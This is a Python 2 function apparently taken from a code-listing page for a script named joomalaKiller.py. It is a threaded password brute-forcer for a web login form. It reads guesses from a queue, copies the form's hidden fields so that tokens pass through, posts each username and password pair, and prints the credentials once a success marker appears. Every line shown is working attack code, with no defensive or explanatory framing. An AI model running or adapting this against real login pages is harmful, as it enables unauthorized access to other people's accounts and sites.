joomalaKiller.py 文件源码

def webBruter(self):
        while not self.password.empty() and not self.found:
            brute = self.password.get().rstrip()
            jar = cookielib.FileCookieJar("cookies")
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

            response = opener.open(targetUrl)

            page = response.read()

            print "Trying: %s : %s (%d left)" % (self.userName, brute, self.password.qsize())

            parser = BruteParser()
            parser.feed(page)

            postTags = parser.tagResults
            postTags[userNameField] = self.userName
            postTags[passwordField] = brute

            loginData = urllib.urlencode(postTags)
            loginResponse = opener.open(targetPost, loginData)
            loginResult = loginResponse.read()

            if successCheck in loginResult:
                self.found = True

                print "[*] Bruteforce successful."
                print "[*] Username: %s" % userName
                print "[*] Password: %s" % brute
                print "[*] Waiting for other threads to exit..."